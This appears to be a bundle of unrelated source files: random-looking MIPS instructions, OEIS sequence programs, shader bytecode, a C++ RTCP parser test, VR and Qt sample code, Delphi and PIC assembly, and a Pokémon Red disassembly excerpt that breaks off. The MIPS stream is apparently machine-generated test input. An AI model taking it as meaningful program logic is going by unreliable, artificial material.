mthi $6
addiu $6,$2,-9082
ori $4,$3,2301
lui $4,54157
addu $2,$2,$3
addu $1,$5,$1
addu $1,$5,$3
div $3,$ra
lb $4,1($0)
lb $3,13($0)
multu $6,$4
sb $0,2($0)
div $5,$ra
addiu $3,$2,-74
multu $2,$2
sb $5,16($0)
mult $4,$2
lb $5,11($0)
lb $4,7($0)
srav $4,$1,$2
div $1,$ra
sll $3,$1,12
multu $1,$5
divu $5,$ra
srav $2,$5,$2
mthi $4
lb $3,7($0)
sb $4,15($0)
mtlo $1
mfhi $0
div $5,$ra
addiu $1,$1,-23376
mult $3,$3
addu $1,$1,$2
lb $4,10($0)
mult $2,$6
lui $4,29767
sb $1,4($0)
srav $1,$1,$6
sll $1,$2,31
mflo $2
lb $4,14($0)
mthi $5
addu $0,$0,$5
mult $2,$2
mfhi $1
mult $0,$0
sll $3,$2,31
mfhi $2
lb $0,2($0)
mflo $2
sb $4,8($0)
sb $6,15($0)
sb $4,0($0)
sll $5,$5,13
lui $4,49518
div $6,$ra
addu $1,$1,$6
addiu $4,$1,-23745
mthi $4
mflo $3
lb $3,5($0)
sb $3,11($0)
lb $1,13($0)
divu $1,$ra
lui $4,8558
sll $0,$0,8
addu $4,$1,$4
mflo $1
lui $6,3279
sll $0,$6,12
mflo $5
addu $1,$1,$2
mthi $5
lb $4,12($0)
mthi $0
sb $5,16($0)
lui $6,7511
multu $5,$5
sll $4,$1,18
lb $2,6($0)
mthi $4
multu $0,$4
addu $4,$4,$4
divu $4,$ra
addiu $1,$4,32273
sll $4,$4,27
div $0,$ra
mfhi $4
ori $1,$1,3077
addu $6,$1,$1
sll $3,$1,2
divu $4,$ra
mtlo $3
divu $3,$ra
mflo $5
addu $5,$2,$2
lui $3,5544
addiu $0,$0,-29876
sb $2,0($0)
addiu $1,$1,-184
addiu $4,$2,-27579
mult $4,$5
sll $4,$2,17
sll $5,$5,22
ori $3,$3,53707
srav $2,$2,$2
sll $2,$2,8
addiu $5,$5,-12815
sb $4,7($0)
srav $5,$5,$1
mfhi $4
mthi $1
mflo $1
mthi $4
sb $6,16($0)
sb $4,6($0)
lui $5,62808
ori $0,$0,34992
mthi $5
mtlo $3
multu $3,$5
mtlo $4
srav $4,$5,$3
mult $4,$5
sb $1,13($0)
div $6,$ra
sb $4,13($0)
mfhi $1
lui $1,60683
sb $3,9($0)
mthi $2
multu $5,$4
mult $6,$5
mflo $1
mflo $5
lui $3,59926
mthi $2
div $4,$ra
div $1,$ra
ori $4,$6,55062
lb $6,9($0)
sll $3,$1,16
ori $1,$1,43505
divu $4,$ra
srav $5,$5,$2
mfhi $5
lb $0,16($0)
lui $5,61736
addiu $4,$4,3097
mtlo $1
addu $4,$2,$0
mult $2,$2
ori $5,$2,31377
multu $6,$0
div $0,$ra
div $4,$ra
mflo $3
mthi $5
sb $0,16($0)
div $6,$ra
divu $4,$ra
mthi $2
divu $4,$ra
divu $5,$ra
sb $4,11($0)
mult $5,$5
mult $4,$4
mfhi $1
addiu $1,$1,4942
mult $4,$6
addiu $2,$2,31493
addu $6,$6,$2
div $2,$ra
mthi $4
mthi $2
sb $2,14($0)
multu $5,$6
div $2,$ra
div $1,$ra
ori $2,$2,19793
srav $2,$2,$2
sll $4,$4,29
mtlo $4
divu $3,$ra
mfhi $4
sb $2,6($0)
lui $5,63791
sb $2,13($0)
mthi $1
mthi $5
mtlo $4
mthi $2
ori $1,$5,37969
mfhi $4
sll $6,$4,9
sb $5,10($0)
mtlo $1
ori $4,$4,7410
mult $1,$2
addiu $5,$5,-19200
mtlo $4
multu $4,$0
mthi $5
ori $3,$3,55519
ori $6,$5,12167
mflo $1
mfhi $4
ori $6,$6,42469
srav $2,$2,$4
addiu $6,$6,12048
ori $6,$1,19112
sll $1,$2,12
addiu $0,$4,9554
mtlo $3
srav $4,$2,$4
multu $3,$3
ori $1,$4,58806
srav $4,$3,$3
mult $5,$2
lui $0,17551
div $5,$ra
lui $1,19184
mflo $3
mthi $1
srav $1,$4,$4
lui $5,63719
divu $2,$ra
sll $1,$1,26
div $6,$ra
ori $0,$4,13582
sll $6,$5,25
mtlo $4
divu $1,$ra
lb $5,12($0)
multu $1,$5
sll $0,$2,29
addiu $5,$1,13002
lui $4,25612
multu $4,$4
lui $4,51295
multu $4,$4
addiu $3,$5,-2827
divu $5,$ra
ori $4,$4,3977
multu $5,$2
addiu $2,$2,-24447
mthi $3
mthi $4
mtlo $1
sll $4,$1,2
mult $2,$2
srav $5,$4,$1
divu $1,$ra
srav $2,$2,$3
mflo $2
addiu $0,$0,-668
div $0,$ra
sb $5,3($0)
mflo $4
mtlo $4
divu $5,$ra
addu $1,$5,$5
mtlo $4
|
; A019785: Decimal expansion of sqrt(e)/12.
; 1,3,7,3,9,3,4,3,9,2,2,5,0,1,0,6,7,8,9,0,4,0,5,4,2,3,2,3,1,7,8,4,6,9,6,4,3,0,4,4,8,1,3,4,1,7,2,5,8,4,5,6,6,7,6,3,1,2,5,6,6,0,9,3,0,3,3,8,8,4,1,8,4,3,2,8,5,1,3,0,0,7,1,9,3,9,8,0,4,3,3,3,8,0,3,0,5,5,3,5
add $0,1
mov $2,1
mov $3,$0
mul $3,5
lpb $3
mul $2,$3
add $1,$2
div $1,$0
mul $2,2
div $2,$0
sub $3,1
lpe
mov $4,10
pow $4,$0
div $2,$4
mul $2,6
div $1,$2
mod $1,10
mov $0,$1
|
int bar(int i, int j) { return j; }
|
; A127040: a(n) = binomial(floor((3n+4)/2)),floor(n/2)).
; 1,1,5,6,28,36,165,220,1001,1365,6188,8568,38760,54264,245157,346104,1562275,2220075,10015005,14307150,64512240,92561040,417225900,600805296,2707475148,3910797436,17620076360,25518731280,114955808528,166871334960,751616304549,1093260079344,4923689695575,7174519270695,32308782859535,47153358767970,212327989773900,310325523515700,1397281501935165,2044802197953900,9206478467454345
mov $1,$0
div $1,2
mov $2,$1
add $1,5
add $1,$0
sub $1,3
bin $1,$2
|
//
// Generated by Microsoft (R) HLSL Shader Compiler 9.30.9200.16384
//
//
///
// Buffer Definitions:
//
// Resource bind info for ParticlesRO
// {
//
// struct Particle
// {
//
// float2 position; // Offset: 0
// float2 velocity; // Offset: 8
//
// } $Element; // Offset: 0 Size: 16
//
// }
//
// Resource bind info for GridRO
// {
//
// uint $Element; // Offset: 0 Size: 4
//
// }
//
// Resource bind info for ParticlesRW
// {
//
// struct Particle
// {
//
// float2 position; // Offset: 0
// float2 velocity; // Offset: 8
//
// } $Element; // Offset: 0 Size: 16
//
// }
//
//
// Resource Bindings:
//
// Name Type Format Dim Slot Elements
// ------------------------------ ---------- ------- ----------- ---- --------
// ParticlesRO texture struct r/o 0 1
// GridRO texture struct r/o 3 1
// ParticlesRW UAV struct r/w 0 1
//
//
//
// Input signature:
//
// Name Index Mask Register SysValue Format Used
// -------------------- ----- ------ -------- -------- ------- ------
// no Input
//
// Output signature:
//
// Name Index Mask Register SysValue Format Used
// -------------------- ----- ------ -------- -------- ------- ------
// no Output
cs_5_0
dcl_globalFlags refactoringAllowed
dcl_resource_structured t0, 16
dcl_resource_structured t3, 4
dcl_uav_structured u0, 16
dcl_input vThreadID.x
dcl_temps 1
dcl_thread_group 256, 1, 1
ld_structured_indexable(structured_buffer, stride=4)(mixed,mixed,mixed,mixed) r0.x, vThreadID.x, l(0), t3.xxxx
and r0.x, r0.x, l(0x0000ffff)
ld_structured_indexable(structured_buffer, stride=16)(mixed,mixed,mixed,mixed) r0.xyzw, r0.x, l(0), t0.xyzw
store_structured u0.xyzw, vThreadID.x, l(0), r0.xyzw
ret
// Approximately 5 instruction slots used
|
#include "common.hpp"
#include "catch.hpp"
#include "RTC/RTCP/FeedbackPsRemb.hpp"
#include <cstring> // std::memcmp()
using namespace RTC::RTCP;
namespace TestFeedbackPsRemb
{
// RTCP REMB packet.
// clang-format off
uint8_t buffer[] =
{
0x8f, 0xce, 0x00, 0x06, // Type: 206 (Payload Specific), Count: 15 (AFB), Length: 6
0xfa, 0x17, 0xfa, 0x17, // Sender SSRC: 0xfa17fa17
0x00, 0x00, 0x00, 0x00, // Media source SSRC: 0x00000000
0x52, 0x45, 0x4d, 0x42, // Unique Identifier: REMB
0x02, 0x01, 0xdf, 0x82, // SSRCs: 2, BR exp: 0, Mantissa: 122754
0x02, 0xd0, 0x37, 0x02, // SSRC1: 0x02d03702
0x04, 0xa7, 0x67, 0x47 // SSRC2: 0x04a76747
};
// clang-format on
// REMB values.
uint32_t senderSsrc = 0xfa17fa17;
uint32_t mediaSsrc = 0;
uint64_t bitrate = 122754;
std::vector<uint32_t> ssrcs{ 0x02d03702, 0x04a76747 };
void verify(FeedbackPsRembPacket* packet)
{
REQUIRE(packet->GetSenderSsrc() == senderSsrc);
REQUIRE(packet->GetMediaSsrc() == mediaSsrc);
REQUIRE(packet->GetBitrate() == bitrate);
REQUIRE(packet->GetSsrcs() == ssrcs);
}
} // namespace TestFeedbackPsRemb
SCENARIO("RTCP Feedback PS parsing", "[parser][rtcp][feedback-ps][remb]")
{
using namespace TestFeedbackPsRemb;
SECTION("parse FeedbackPsRembPacket")
{
FeedbackPsRembPacket* packet = FeedbackPsRembPacket::Parse(buffer, sizeof(buffer));
REQUIRE(packet);
verify(packet);
SECTION("serialize packet instance")
{
uint8_t serialized[sizeof(buffer)] = { 0 };
packet->Serialize(serialized);
SECTION("compare serialized packet with original buffer")
{
REQUIRE(std::memcmp(buffer, serialized, sizeof(buffer)) == 0);
}
}
delete packet;
}
SECTION("create FeedbackPsRembPacket")
{
FeedbackPsRembPacket packet(senderSsrc, mediaSsrc);
packet.SetSsrcs(ssrcs);
packet.SetBitrate(bitrate);
verify(&packet);
}
}
|
SECTION code_clib
SECTION code_fp_math48
PUBLIC dne
EXTERN cm48_sccz80p_dne
defc dne = cm48_sccz80p_dne
|
; A101869: Row 2 of A101866.
; 10,20,26,36,46,52,62,68,78,88,94,104,114,120,130,136,146,156,162,172,178,188,198,204,214,224,230,240,246,256,266,272,282,292,298,308,314,324,334,340,350,356,366,376,382,392,402,408,418,424,434,444,450,460,466,476,486
mov $3,$0
mov $7,$0
add $7,1
lpb $7,1
mov $0,$3
sub $7,1
sub $0,$7
mov $11,$0
mov $13,2
lpb $13,1
mov $0,$11
sub $13,1
add $0,$13
sub $0,1
mov $2,$0
mov $0,32
add $2,1
mov $4,$6
mov $5,33
div $9,15
add $9,$2
mov $10,13
lpb $0,1
add $0,2
add $4,$0
mov $0,5
mul $10,$5
mul $10,$9
div $10,$4
add $10,2
mul $10,2
sub $10,2
lpe
mov $8,$13
mov $9,2
lpb $8,1
sub $8,1
mov $12,$10
lpe
lpe
lpb $11,1
mov $11,0
sub $12,$10
lpe
mov $10,$12
sub $10,24
div $10,2
mul $10,4
add $10,6
add $1,$10
lpe
|
movi r0, 0
movi r1, 4
addi r0, 1
mov r2, r0
and r2, r1
jzi r2, 2
movi r3, 1
ji 7
|
; A159920: Sums of the antidiagonals of Sundaram's sieve (A159919).
; 4,14,32,60,100,154,224,312,420,550,704,884,1092,1330,1600,1904,2244,2622,3040,3500,4004,4554,5152,5800,6500,7254,8064,8932,9860,10850,11904,13024,14212,15470,16800,18204,19684,21242,22880,24600,26404
add $0,4
mov $1,$0
bin $0,3
sub $0,$1
mul $0,2
add $0,4
|
Name: zel_make.asm
Type: file
Size: 281129
Last-Modified: '2016-05-13T04:25:37Z'
SHA-1: D1305DB30408E08C6D282C3C06178136F742EBB2
Description: null
|
; A273311: Partial sums of the number of active (ON,black) cells in n-th stage of growth of two-dimensional cellular automaton defined by "Rule 641", based on the 5-celled von Neumann neighborhood.
; 1,5,22,62,135,247,408,624,905,1257,1690,2210,2827,3547,4380,5332,6413,7629,8990,10502,12175,14015,16032,18232,20625,23217,26018,29034,32275,35747,39460,43420,47637,52117,56870,61902,67223,72839,78760,84992,91545,98425,105642,113202,121115,129387,138028,147044,156445,166237,176430,187030,198047,209487,221360,233672,246433,259649,273330,287482,302115,317235,332852,348972,365605,382757,400438,418654,437415,456727,476600,497040,518057,539657,561850,584642,608043,632059,656700,681972,707885,734445
lpb $0
mov $2,$0
sub $0,1
seq $2,273309 ; Number of active (ON,black) cells in n-th stage of growth of two-dimensional cellular automaton defined by "Rule 641", based on the 5-celled von Neumann neighborhood.
add $1,$2
lpe
add $1,1
mov $0,$1
|
; A013632: Difference between n and the next prime greater than n.
; 2,1,1,2,1,2,1,4,3,2,1,2,1,4,3,2,1,2,1,4,3,2,1,6,5,4,3,2,1,2,1,6,5,4,3,2,1,4,3,2,1,2,1,4,3,2,1,6,5,4,3,2,1,6,5,4,3,2,1,2,1,6,5,4,3,2,1,4,3,2,1,2,1,6,5,4,3,2,1,4,3,2,1,6,5,4,3,2,1,8,7,6,5,4,3,2,1,4,3,2,1,2,1,4,3,2,1,2,1,4,3,2,1,14,13,12,11,10,9,8,7,6,5,4,3,2,1,4,3,2,1,6,5,4,3,2,1,2,1,10,9,8,7,6,5,4,3,2,1,2,1,6,5,4,3,2,1,6,5,4,3,2,1,4,3,2,1,6,5,4,3,2,1,6,5,4,3,2,1,2,1,10,9,8,7,6,5,4,3,2,1,2,1,4,3,2,1,2,1,12,11,10,9,8,7,6,5,4,3,2,1,12,11,10,9,8,7,6,5,4,3,2,1,4,3,2,1,2,1,4,3,2,1,6,5,4,3,2,1,2,1,10,9,8,7,6,5,4,3,2
mov $2,$0
cal $0,151800 ; Least prime > n (version 2 of the "next prime" function).
sub $0,$2
mov $1,$0
|
; A192310: 1-sequence of reduction of (3n-1) by x^2 -> x+1.
; 0,5,13,35,77,162,322,621,1167,2153,3913,7028,12500,22053,38641,67311,116661,201302,346006,592685,1012115,1723605,2927953,4962600,8393832,14170757,23882197,40184891,67516637,113283018
mov $1,2
add $1,$0
lpb $0,1
add $1,$0
sub $0,1
mov $2,$1
mov $1,$3
trn $1,2
add $1,$0
add $3,$2
add $3,$0
add $3,3
lpe
mov $1,1
sub $2,$2
add $3,4
add $1,$3
add $2,7
trn $1,$2
|
SECTION code_fp_math32
PUBLIC cm32_sccz80_tan
EXTERN cm32_sccz80_fsread1, _m32_tanf
cm32_sccz80_tan:
call cm32_sccz80_fsread1
jp _m32_tanf
|
; A131293: Concatenate a(n-2) and a(n-1) to get a(n); start with a(0)=0, a(1)=1, delete the leading zero. Also: concatenate Fibonacci(n) 1's.
; 0,1,1,11,111,11111,11111111,1111111111111,111111111111111111111,1111111111111111111111111111111111,1111111111111111111111111111111111111111111111111111111,11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111,111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
seq $0,45 ; Fibonacci numbers: F(n) = F(n-1) + F(n-2) with F(0) = 0 and F(1) = 1.
mov $1,10
pow $1,$0
div $1,9
mov $0,$1
|
/************************************************************************************
Filename : Win32_RoomTiny_Main.cpp
Content : First-person view test application for Oculus Rift
Created : 18th Dec 2014
Authors : Tom Heath
Copyright : Copyright 2012 Oculus, Inc. All Rights reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*************************************************************************************/
/// This sample shows a simple process to reduce the processing
/// burden of your application by just rendering one eye each
/// frame, and using the old image for the other eye, albeit fixed
/// up by timewarp to appear rotationally correct. Note that there
/// are downsides to this, the animating cube has double images,
/// close objects, particularly the floor, do not stereoscopically match
/// as you move, your IPD will appear to expand and contract with
/// sideways movement. And as you manually yaw around with cursors, it is
/// not smooth. However, we show how to mitigate this last item,
/// by folding the user's yaw into the timewarp calculation.
/// By default, the effect will be active.
/// Hold '1' to enable the alternate eye effect.
/// Hold '2' to deactivate folding user-yaw into timewarp
#define OVR_D3D_VERSION 11
#include "../Common/Win32_DirectXAppUtil.h" // DirectX
#include "../Common/Win32_BasicVR.h" // Basic VR
struct SimpleAlternateEye : BasicVR
{
SimpleAlternateEye(HINSTANCE hinst) : BasicVR(hinst, L"Simple Alternate Eye") {}
void MainLoop()
{
Layer[0] = new VRLayer(HMD);
while (HandleMessages())
{
ActionFromInput();
// Get Eye poses, but into a temporary buffer,
ovrPosef tempEyeRenderPose[2];
Layer[0]->GetEyePoses(tempEyeRenderPose);
// Decide which eye will be drawn this frame
static int eyeThisFrame = 0;
eyeThisFrame = 1 - eyeThisFrame;
// We're going to note the player orientation
// and store it if used to render an eye
XMVECTOR playerOrientation = MainCam->Rot;
static XMVECTOR playerOrientationAtRender[2];
for (int eye = 0; eye < 2; eye++)
{
// If required, update EyeRenderPose and corresponding eye buffer
if ((DIRECTX.Key['1']) && (eye != eyeThisFrame)) continue;
// Record the user yaw orientation for this eye image
if (!DIRECTX.Key['2']) playerOrientationAtRender[eye] = playerOrientation;
Layer[0]->EyeRenderPose[eye] = tempEyeRenderPose[eye];
Layer[0]->RenderSceneToEyeBuffer(MainCam, RoomScene, eye);
}
XMVECTOR diffQuat[2] = { XMQuaternionIdentity(), XMQuaternionIdentity() };
if (!DIRECTX.Key['2']) diffQuat[0] = XMQuaternionMultiply(XMQuaternionInverse(playerOrientationAtRender[0]), playerOrientation);
if (!DIRECTX.Key['2']) diffQuat[1] = XMQuaternionMultiply(XMQuaternionInverse(playerOrientationAtRender[1]), playerOrientation);
Layer[0]->PrepareLayerHeader(0, 0, diffQuat);
DistortAndPresent(1);
}
}
};
//-------------------------------------------------------------------------------------
int WINAPI WinMain(HINSTANCE hinst, HINSTANCE, LPSTR, int)
{
SimpleAlternateEye app(hinst);
return app.Run();
}
|
#include "Platform.inc"
radix decimal
GeneralPurposeRegistersRam udata
global RA
global RAA
global RAB
global RAC
global RAD
global RB
global RBA
global RBB
global RBC
global RBD
global RZ
global RZA
global RZB
RA:
RAA res 1
RAB res 1
RAC res 1
RAD res 1
RB:
RBA res 1
RBB res 1
RBC res 1
RBD res 1
RZ:
RZA res 1
RZB res 1
end
|
; *******************************************************
; * *
; * Delphi Runtime Library *
; * *
; * Copyright (c) 1996,98 Inprise Corporation *
; * *
; *******************************************************
INCLUDE SE.ASM
INCLUDE FILEIO.ASM
.386
.MODEL FLAT
EXTRN GetFileSize:NEAR, SetFilePointer:NEAR, GetLastError:NEAR
EXTRN SetInOutRes:NEAR, InOutError:NEAR
PUBLIC _EofFile
.CODE
; FUNCTION _EofFile( f: File ): Boolean;
_EofFile PROC
; -> EAX Pointer to file variable
; <- AL Boolean result
PUSH EBX
MOV EBX,EAX
MOV EDX,[EBX].Mode ; File must be open
SUB EDX,fmInput
CMP EDX,fmInOut-fmInput
JA @@fileNotOpen
PUSH 0 ; get file size from OS
PUSH [EBX].Handle
CALL GetFileSize
CMP EAX,-1
JZ @@error
PUSH EAX
PUSH FILE_CURRENT ; get file pointer from OS
PUSH 0
PUSH 0
PUSH [EBX].Handle
CALL SetFilePointer
CMP EAX,-1
JZ @@error
POP EDX
CMP EAX,EDX ; eof := pos >= size
SETAE AL
@@exit:
POP EBX
RET
@@error:
CALL InOutError
MOV AL,1
JMP @@exit
@@fileNotOpen:
MOV EAX,103
CALL SetInOutRes
MOV AL,-1
JMP @@exit
_EofFile ENDP
END
|
/****************************************************************************
** Meta object code from reading C++ file 'MyDelegate.h'
**
** Created by: The Qt Meta Object Compiler version 68 (Qt 6.0.3)
**
** WARNING! All changes made in this file will be lost!
*****************************************************************************/
#include <memory>
#include "../../PM-GEST/MyDelegate.h"
#include <QtCore/qbytearray.h>
#include <QtCore/qmetatype.h>
#if !defined(Q_MOC_OUTPUT_REVISION)
#error "The header file 'MyDelegate.h' doesn't include <QObject>."
#elif Q_MOC_OUTPUT_REVISION != 68
#error "This file was generated using the moc from 6.0.3. It"
#error "cannot be used with the include files from this version of Qt."
#error "(The moc has changed too much.)"
#endif
QT_BEGIN_MOC_NAMESPACE
QT_WARNING_PUSH
QT_WARNING_DISABLE_DEPRECATED
struct qt_meta_stringdata_MyDelegate_t {
const uint offsetsAndSize[2];
char stringdata0[11];
};
#define QT_MOC_LITERAL(ofs, len) \
uint(offsetof(qt_meta_stringdata_MyDelegate_t, stringdata0) + ofs), len
static const qt_meta_stringdata_MyDelegate_t qt_meta_stringdata_MyDelegate = {
{
QT_MOC_LITERAL(0, 10) // "MyDelegate"
},
"MyDelegate"
};
#undef QT_MOC_LITERAL
static const uint qt_meta_data_MyDelegate[] = {
// content:
9, // revision
0, // classname
0, 0, // classinfo
0, 0, // methods
0, 0, // properties
0, 0, // enums/sets
0, 0, // constructors
0, // flags
0, // signalCount
0 // eod
};
void MyDelegate::qt_static_metacall(QObject *_o, QMetaObject::Call _c, int _id, void **_a)
{
(void)_o;
(void)_id;
(void)_c;
(void)_a;
}
const QMetaObject MyDelegate::staticMetaObject = { {
QMetaObject::SuperData::link<QItemDelegate::staticMetaObject>(),
qt_meta_stringdata_MyDelegate.offsetsAndSize,
qt_meta_data_MyDelegate,
qt_static_metacall,
nullptr,
nullptr,
nullptr
} };
const QMetaObject *MyDelegate::metaObject() const
{
return QObject::d_ptr->metaObject ? QObject::d_ptr->dynamicMetaObject() : &staticMetaObject;
}
void *MyDelegate::qt_metacast(const char *_clname)
{
if (!_clname) return nullptr;
if (!strcmp(_clname, qt_meta_stringdata_MyDelegate.stringdata0))
return static_cast<void*>(this);
return QItemDelegate::qt_metacast(_clname);
}
int MyDelegate::qt_metacall(QMetaObject::Call _c, int _id, void **_a)
{
_id = QItemDelegate::qt_metacall(_c, _id, _a);
return _id;
}
QT_WARNING_POP
QT_END_MOC_NAMESPACE
|
PrintNewBikeText:
call EnableAutoTextBoxDrawing
tx_pre_jump NewBicycleText
NewBicycleText:
TX_FAR _NewBicycleText
db "@"
DisplayOakLabLeftPoster:
call EnableAutoTextBoxDrawing
tx_pre_jump PushStartText
PushStartText:
TX_FAR _PushStartText
db "@"
DisplayOakLabRightPoster:
call EnableAutoTextBoxDrawing
ld hl, wPokedexOwned
ld b, wPokedexOwnedEnd - wPokedexOwned
call CountSetBits
ld a, [wNumSetBits]
cp 2
tx_pre_id SaveOptionText
jr c, .ownLessThanTwo
; own two or more mon
tx_pre_id StrengthsAndWeaknessesText
.ownLessThanTwo
jp PrintPredefTextID
SaveOptionText:
TX_FAR _SaveOptionText
db "@"
StrengthsAndWeaknessesText:
TX_FAR _StrengthsAndWeaknessesText
db "@"
SafariZoneCheck:
CheckEventHL EVENT_IN_SAFARI_ZONE ; if we are not in the Safari Zone,
jr z, SafariZoneGameStillGoing ; don't bother printing game over text
ld a, [wNumSafariBalls]
and a
jr z, SafariZoneGameOver
jr SafariZoneGameStillGoing
SafariZoneCheckSteps:
ld a, [wSafariSteps]
ld b, a
ld a, [wSafariSteps + 1]
ld c, a
or b
jr z, SafariZoneGameOver
dec bc
ld a, b
ld [wSafariSteps], a
ld a, c
ld [wSafariSteps + 1], a
SafariZoneGameStillGoing:
xor a
ld [wSafariZoneGameOver], a
ret
SafariZoneGameOver:
call EnableAutoTextBoxDrawing
xor a
ld [wAudioFadeOutControl], a
dec a
call PlaySound
ld c, BANK(SFX_Safari_Zone_PA)
ld a, SFX_SAFARI_ZONE_PA
call PlayMusic
.waitForMusicToPlay
ld a, [wChannelSoundIDs + Ch4]
cp SFX_SAFARI_ZONE_PA
jr nz, .waitForMusicToPlay
ld a, TEXT_SAFARI_GAME_OVER
ld [hSpriteIndexOrTextID], a
call DisplayTextID
xor a
ld [wPlayerMovingDirection], a
ld a, SAFARI_ZONE_GATE
ld [hWarpDestinationMap], a
ld a, $3
ld [wDestinationWarpID], a
ld a, $5
ld [wSafariZoneGateCurScript], a
SetEvent EVENT_SAFARI_GAME_OVER
ld a, 1
ld [wSafariZoneGameOver], a
ret
PrintSafariGameOverText:
xor a
ld [wJoyIgnore], a
ld hl, SafariGameOverText
jp PrintText
SafariGameOverText:
TX_ASM
ld a, [wNumSafariBalls]
and a
jr z, .noMoreSafariBalls
ld hl, TimesUpText
call PrintText
.noMoreSafariBalls
ld hl, GameOverText
call PrintText
jp TextScriptEnd
TimesUpText:
TX_FAR _TimesUpText
db "@"
GameOverText:
TX_FAR _GameOverText
db "@"
PrintCinnabarQuiz:
ld a, [wSpriteStateData1 + 9]
cp SPRITE_FACING_UP
ret nz
call EnableAutoTextBoxDrawing
tx_pre_jump CinnabarGymQuiz
CinnabarGymQuiz:
TX_ASM
xor a
ld [wOpponentAfterWrongAnswer], a
ld a, [wHiddenObjectFunctionArgument]
push af
and $f
ld [hGymGateIndex], a
pop af
and $f0
swap a
ld [$ffdc], a
ld hl, CinnabarGymQuizIntroText
call PrintText
ld a, [hGymGateIndex]
dec a
add a
ld d, 0
ld e, a
ld hl, CinnabarQuizQuestions
add hl, de
ld a, [hli]
ld h, [hl]
ld l, a
call PrintText
ld a, 1
ld [wDoNotWaitForButtonPressAfterDisplayingText], a
call CinnabarGymQuiz_1ea92
jp TextScriptEnd
CinnabarGymQuizIntroText:
TX_FAR _CinnabarGymQuizIntroText
db "@"
CinnabarQuizQuestions:
dw CinnabarQuizQuestionsText1
dw CinnabarQuizQuestionsText2
dw CinnabarQuizQuestionsText3
dw CinnabarQuizQuestionsText4
dw CinnabarQuizQuestionsText5
dw CinnabarQuizQuestionsText6
CinnabarQuizQuestionsText1:
TX_FAR _CinnabarQuizQuestionsText1
db "@"
CinnabarQuizQuestionsText2:
TX_FAR _CinnabarQuizQuestionsText2
db "@"
CinnabarQuizQuestionsText3:
TX_FAR _CinnabarQuizQuestionsText3
db "@"
CinnabarQuizQuestionsText4:
TX_FAR _CinnabarQuizQuestionsText4
db "@"
CinnabarQuizQuestionsText5:
TX_FAR _CinnabarQuizQuestionsText5
db "@"
CinnabarQuizQuestionsText6:
TX_FAR _CinnabarQuizQuestionsText6
db "@"
CinnabarGymGateFlagAction:
EventFlagAddress hl, EVENT_CINNABAR_GYM_GATE0_UNLOCKED
predef_jump FlagActionPredef
CinnabarGymQuiz_1ea92:
call YesNoChoice
ld a, [$ffdc]
ld c, a
ld a, [wCurrentMenuItem]
cp c
jr nz, .wrongAnswer
ld hl, wCurrentMapScriptFlags
set 5, [hl]
ld a, [hGymGateIndex]
ld [$ffe0], a
ld hl, CinnabarGymQuizCorrectText
call PrintText
ld a, [$ffe0]
AdjustEventBit EVENT_CINNABAR_GYM_GATE0_UNLOCKED, 0
ld c, a
ld b, FLAG_SET
call CinnabarGymGateFlagAction
jp UpdateCinnabarGymGateTileBlocks_
.wrongAnswer
call WaitForSoundToFinish
ld a, SFX_DENIED
call PlaySound
call WaitForSoundToFinish
ld hl, CinnabarGymQuizIncorrectText
call PrintText
ld a, [hGymGateIndex]
add $2
AdjustEventBit EVENT_BEAT_CINNABAR_GYM_TRAINER_0, 2
ld c, a
ld b, FLAG_TEST
EventFlagAddress hl, EVENT_BEAT_CINNABAR_GYM_TRAINER_0
predef FlagActionPredef
ld a, c
and a
ret nz
ld a, [hGymGateIndex]
add $2
ld [wOpponentAfterWrongAnswer], a
ret
CinnabarGymQuizCorrectText:
TX_SFX_ITEM_1
TX_FAR _CinnabarGymQuizCorrectText
TX_BLINK
TX_ASM
ld a, [$ffe0]
AdjustEventBit EVENT_CINNABAR_GYM_GATE0_UNLOCKED, 0
ld c, a
ld b, FLAG_TEST
call CinnabarGymGateFlagAction
ld a, c
and a
jp nz, TextScriptEnd
call WaitForSoundToFinish
ld a, SFX_GO_INSIDE
call PlaySound
call WaitForSoundToFinish
jp TextScriptEnd
CinnabarGymQuizIncorrectText:
TX_FAR _CinnabarGymQuizIncorrectText
db "@"
UpdateCinnabarGymGateTileBlocks_:
; Update the overworld map with open floor blocks or locked gate blocks
; depending on event flags.
ld a, 6
ld [hGymGateIndex], a
.loop
ld a, [hGymGateIndex]
dec a
add a
add a
ld d, 0
ld e, a
ld hl, CinnabarGymGateCoords
add hl, de
ld a, [hli]
ld b, [hl]
ld c, a
inc hl
ld a, [hl]
ld [wGymGateTileBlock], a
push bc
ld a, [hGymGateIndex]
ld [$ffe0], a
AdjustEventBit EVENT_CINNABAR_GYM_GATE0_UNLOCKED, 0
ld c, a
ld b, FLAG_TEST
call CinnabarGymGateFlagAction
ld a, c
and a
jr nz, .unlocked
ld a, [wGymGateTileBlock]
jr .next
.unlocked
ld a, $e
.next
pop bc
ld [wNewTileBlockID], a
predef ReplaceTileBlock
ld hl, hGymGateIndex
dec [hl]
jr nz, .loop
ret
CinnabarGymGateCoords:
; format: x-coord, y-coord, direction, padding
; direction: $54 = horizontal gate, $5f = vertical gate
db $09,$03,$54,$00
db $06,$03,$54,$00
db $06,$06,$54,$00
db $03,$08,$5f,$00
db $02,$06,$54,$00
db $02,$03,$54,$00
PrintMagazinesText:
call EnableAutoTextBoxDrawing
tx_pre MagazinesText
ret
MagazinesText:
TX_FAR _MagazinesText
db "@"
BillsHousePC:
call EnableAutoTextBoxDrawing
ld a, [wSpriteStateData1 + 9]
cp SPRITE_FACING_UP
ret nz
CheckEvent EVENT_LEFT_BILLS_HOUSE_AFTER_HELPING
jr nz, .displayBillsHousePokemonList
CheckEventReuseA EVENT_USED_CELL_SEPARATOR_ON_BILL
jr nz, .displayBillsHouseMonitorText
CheckEventReuseA EVENT_BILL_SAID_USE_CELL_SEPARATOR
jr nz, .doCellSeparator
.displayBillsHouseMonitorText
tx_pre_jump BillsHouseMonitorText
.doCellSeparator
ld a, $1
ld [wDoNotWaitForButtonPressAfterDisplayingText], a
tx_pre BillsHouseInitiatedText
ld c, 32
call DelayFrames
ld a, SFX_TINK
call PlaySound
call WaitForSoundToFinish
ld c, 80
call DelayFrames
ld a, SFX_SHRINK
call PlaySound
call WaitForSoundToFinish
